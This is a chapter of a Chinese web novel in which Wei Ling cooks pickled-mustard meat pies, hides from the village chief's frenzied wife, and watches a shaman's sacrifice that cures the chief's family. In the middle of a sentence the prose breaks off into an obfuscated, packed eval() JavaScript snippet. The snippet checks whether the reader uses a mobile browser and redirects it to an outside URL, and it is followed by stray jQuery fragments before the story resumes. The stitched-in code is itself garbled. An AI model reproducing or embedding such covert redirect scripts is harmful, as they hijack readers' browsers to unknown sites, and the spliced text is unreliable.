颜麦 作品
16. 祭祀山神
徐子烈被问的一头雾水。
什么跟什么啊?
但他看见卫菱往院子里走,赶紧拎着锅跟了进去。
“真的,真的是我花钱买的!”
徐子烈站在卫菱旁边,滔滔不绝地给她介绍。
“你怎么不信我呢,我早上去黑市买的!”
“真的!”
“黑市里不常见的东西贵得很,这种常见的普通物件都不需要花银子,我用早上从牙缝里省得豆腐渣丸子换的。”
黑市?
卫菱停下脚步。她怎么不知道还有黑市。
“我现在肚子还在叫呢!”
似乎是为了验证徐子烈话语里的真实性,他的肚子在话音还没落的时候就发出咕噜噜的蜂鸣声。
卫菱半信半疑,瞟了徐子烈一眼后,从他手里拿过那口锅,仔细端详。
上好的工艺,外表甚至刻着花纹。
卫菱弹了一下锅体,声音沉闷短促,不似青铜那样清亮悠长,极有可能是合金制品。
还真是赚大发了!
卫菱惊喜地看向徐子烈,“黑市在哪?能带我去吗?”
“你以为黑市是你家开的,想去就去啊?”
当!
卫菱气得锤了徐子烈一拳。这男人小肚鸡肠,还阴阳怪气的!有话不能好好说啊!
卫菱刚来刘家村的时候,得了村长照拂。明日的祭祀大典,于情于理,她都得参加。
这样一来,明天就不能出摊了。
卫菱掀开炉灶便的桶盖,里边的猪骨表皮都呈现微微透明的状态,熬出的汤也没那么浓的肉香了。
“又是一笔钱啊!”
做生意靠得就是口口相传的信誉,没有口碑,卫菱这摊子根本在集市立不住脚跟。
看来明天从黑市回来,得去刘屠户那买些材料了。
卫菱边想着,边扭过身子从橱柜里舀出些红面出来。
麦粉得留着包馄饨,在家还是能不吃就别吃了。
萝卜都被她串起来,挂在院里晒干呢。
既如此,便用猪骨汤做红面疙瘩算了。
“老猫猴子来了!”
“老猫猴子来了!”
卫菱跟徐子烈二人正抱着碗在吃桌边吃饭呢,就听见村长夫人的嚎叫的声音。
“我去看看。”
徐子烈跟卫菱对视一眼,放下手里的东西准备打开门观望一下外边的情况。
“我跟你一起。”
卫菱躲在他身后,朝门口走。
村长夫人的声音太过凄惨,是以,徐子烈只把门打开一丝缝隙。
卫菱贴在他身后,手紧紧攥着他的胳膊。
“什么情况?”
徐子烈人高马大,卫菱看不见情况,又怕门外不太平,只好压低声音,小声询问。
此时,天已擦黑,视野受限。
徐子烈从门缝往左往右看了一圈,既没看见村长夫人,也没看见她口中说的老猫猴子。
他摇摇头,刚想说话,就瞧见卫菱的脑袋正绕过他的手臂,伸着脖子想透过门缝往外看。
他用没扶着门的那只手,摁住卫菱的脑袋往回推。
“吃饭吧。”
徐子烈把卫菱抓着他胳膊的手拂下去,刚要回身关门,一个巴掌哒地拍到了他撬开的门上。
随即,门缝处挤着一张脸。
“老猫猴子来了,老猫猴子来了!”
“啊!”
卫菱被突然出现的存在夫人吓了一大跳。
她尖叫着往徐子烈的身后躲。
徐子烈也被吓得不轻。
但他的手劲一直没松。所幸缝隙不大,也就将将一根手指宽。
徐子烈用力一摁,门立马就合了起来。
“把门栓扣上。”
他双手都推着们,对着身后的卫菱喊道。
“哦,好。”
虽然害怕,但卫菱也没傻站着。徐子烈说完,她便按他说得做了。
门都关上了,村长夫人还拍了几下门。
卫菱跟徐子烈靠在门板上都能感受到震动。
过了一会儿,外边变得平静下来。
卫菱扯了下徐子烈的袖子,“她走了吗?”
不知道。
徐子烈摇摇头。
又过了一阵,徐子烈侧过身,把耳朵贴在门上,确认没有听见声音后,他把卫菱拽到身后,轻手轻脚地挪开门栓,撬开了一道缝。
“走了。”
徐子烈把门关好,又仔细检查几遍,确认安全后,他拉着卫菱回到石桌。
“难不成,村长家真是天罚?”
卫菱用手顺着胸口。
被这么一吓,她都怀疑自己白天的猜测是错的。
谁家蘑菇中毒这么疯狂啊!
卫菱往碗里多夹了些腌菜。
她要压压惊。
还没吃几口,就听见村里又传来尖叫声,其中还混杂着村长夫人的叫喊声。
“也不知道李嫂子那边什么情况。”
卫菱嘀咕了声。
“别想那么多了。”
徐子烈揉了把卫菱的头。
村长夫人疯疯癫癫的,满村跑。目前尚不知道村长家其他人是个什么情况,徐子烈不放心卫菱自己在家,不可能帮她去瞧瞧李寡妇的。
况且,天已经黑了,他一个大男人也不方便去。
刘家村整晚都鸡飞狗跳的,卫菱和徐子烈都没睡踏实。
卫菱硬生生等到鸡鸣才敢起身洗漱。
听徐子烈的描述,黑市除了用钱币进行贸易,应该是还能以物换物,甚至吃食也能用去交换。
院子里的绳子上,就剩下一丁点的肉了。
卫菱踩着凳子,把它们全取了下来。
舍不得孩子,套不着狼。
麦粉加盐用温水搅拌成絮状,加入少许的猪油,揉成光滑面团,盖上湿布醒发。
趁着这段时间,将黄绿色的芥菜洗干净后挤干水分,切碎。热锅加猪油,倒入酸菜碎翻炒,炒干水汽。
猪肉剁成馅后,混入姜末,再用酱清和盐调味,用筷子按照一个方向搅拌上劲。
往肉泥里拌入刚才炒好的酸菜。
卫菱偷瞄不远处劈柴的徐子烈,趁他不注意,往肉馅里加了一点点芝麻油。
醒好的面团分成大小均匀的剂子,擀成中间厚边缘薄的圆皮。
卫菱将面皮放到手心,舀了勺馅料后,用手捏住边缘,大拇指和其他四指推捏,收口后用手掌请压,挤成扁扁的形状。
徐子烈又嗅到了那股香味。
油香油香的。
不似猪油的那般厚重,是一种清新中有醇厚的独特香气。
他嗅着风中的味道转头,就见厨房里卫菱正在忙活的身影。
他刚想放下斧头过去,就想到了上次被卫菱呵斥的场景。
徐子烈又用力吸了几下鼻子。
味道浅得快闻不见了。
也不知道到底是什么好东西。
徐子烈咂咂嘴,继续劈柴。
锅里浅浅铺了一层猪油,融化后,卫菱用手按在馅饼上,在锅里转了一圈,把猪油在锅里均匀地涂了一圈。
小火煎至表皮金黄后,卫菱用锅铲翻个面,继续煎。
“巳时三刻,河边基合。”
人喊一声,锣响三声。
卫菱听清内容后,加快了手上的动作。
她现在也相信村长家受天罚的事了。这祭祀大典,她可不想迟到。
芥菜制作的酸菜,其酸味的主要是来自于乳酸菌的发酵。但这份酸并不是所有人都能接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569228|170322||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
受的。
是以,卫菱特意把酸芥菜多用清水投洗了几遍。
剩下的猪肉,肥的多瘦的少。
酸菜的酸恰好中和掉了肥肉的腻感。
熟了的酸菜保留了纤维感,咬到时的脆感与软糯的肉馅形成鲜明对比。尽管肉极少,菜极多。
吃完饭,卫菱把剩余的馅饼分成三份。
她、徐子烈的午饭单独用苇叶包出来。
剩余的,一张一张地分开用苇叶包起来,方便在黑市能用去交换。
村里人都知道徐子烈的存在,但卫菱心里隐隐不安,跟他商量了一下,还是决定让他留下看家。
卫菱赶到河边的时候,还没到巳时。
此刻村里的人大多都来了,人头攒动,卫菱踮起脚望了一圈也没看见李寡妇的身影。
队伍排到了卫菱。她把手心里攥着的十个铜币交给了登记的大叔。
跟村里其他人比起来,卫菱这笔可谓是巨款了。
她五个,徐子烈五个。
钱多,求山神也多多保佑她们。
“阿菱。”
李寡妇不知道从哪里窜出来,拉着她往前挤。
河边,村长一家都被绑在架子上。
每个人的嘴里都塞着一块布。
村长夫人都被绑得严严实实了,还在试图挣扎着扭动身体。
巫医穿着黑熊皮,吹着骨笛,坐在正中间。额前悬的玉琮随他的动作叮当碰撞,发出清脆的声响。
在巫医的面前还有一口巨大的青铜鼎。里边烈火熊熊,不知道在焚烧着什么。
滚滚黑烟升起,巫医的脸都变得看不清楚。
卫菱觉得眼前的景象有些瘆人,她觉得她手臂都起鸡皮疙瘩了,后背也觉得凉嗖嗖的。
巫医的身后,站着两个同样穿着黑熊皮的男子。他们手里拿着动物骨头做成的鼓槌,鼓槌上还系着红色的丝带。
笛声停下,巫医站起身,踏着禹步,举起一把捆好的蓍草,用青铜鼎里的火引燃后,高高举起。
“献~牲~”
伴随着高昂的鼓声,鬃毛粗硬的黑猪被四个人合力抬了上来。猪身上被用红色的朱砂画满了奇奇怪怪的符号。
刘屠户腰上也系着红绳。在巫医的示意下,他往嘴里含了一口酒,噗地喷洒在屠刀的两面。
铜刀刺穿喉管,血滴进了祭坛周围的雷纹陶罐里。
巫医拎起陶罐,用手指蘸着血,在村长家的每个人额头上都画了符咒。
“求山神息怒,赦去天罚。”
他高呼一声后,跪在地上冲着山林的方向扣头。
底下的村民立马学着他的样子照做。
随后,巫医又挨个掰开村长一家的嘴灌进了某种神秘液体。
他口中念叨着咒语,在烈烈的鼓声中,听不真切。
“yue~”
村长家的儿媳妇忽然吐了。
“山神显灵了!”
“山神显灵了!”
巫医又跪下磕头。
卫菱也跟着村民们,一起学着他的动作。
渐渐地,村长一家都呕吐起来。
吐着,吐着。
最先呕吐的村长家儿媳妇恢复了神智。
“放开我,放开我!”
巫医注意到她的情况,并没做声。
直到村长一家所有人都清醒过来,他才抬起双臂。
“松~绑~”
“巫医!”
“巫医!”
“巫医!”
村民们真臂高呼。
巫医伸手举到头顶,沸腾的呼声瞬间便安静下来。
就在卫菱以为他要说些什么的时候,巫医分别看了两个徒弟一眼,三个人一同从祭台上走了下来。
人群自动分成两边,簇拥着巫医离去。